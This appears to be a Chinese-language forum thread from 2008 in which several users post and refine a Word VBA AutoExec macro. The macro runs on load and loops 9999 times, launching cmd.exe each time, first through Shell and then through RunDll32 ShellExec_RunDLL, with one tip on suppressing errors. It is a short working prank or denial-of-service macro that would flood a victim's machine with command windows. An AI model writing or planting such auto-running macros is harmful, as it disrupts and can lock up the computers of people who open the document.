Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
For i = 1 To 9999
Dim auto
auto = Shell("C:\windows\system32\cmd.exe", 1)
AppActivate auto
Next i
End Sub 作者: Nothing 时间: 2008-7-24 00:54
Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
For i = 1 To 9999
Dim auto
auto = Shell("C:\windows\system32\cmd.exe", VbNormalFocus)
'AppActivate auto 这个不用了,上面就可以了
'如果非要用,在Sub AutoExec()下面加上On error resume next就可以了
Next i
End Sub 作者: johnhall 时间: 2008-8-13 09:40 标题: 试试这个。
Sub AutoExec()
dim i as integer
For i = 1 To 9999
Shell ("RunDll32.exe shell32.dll,ShellExec_RunDLL cmd.exe")
doevents
Next i
End Sub 作者: Nothing 时间: 2008-8-13 12:55
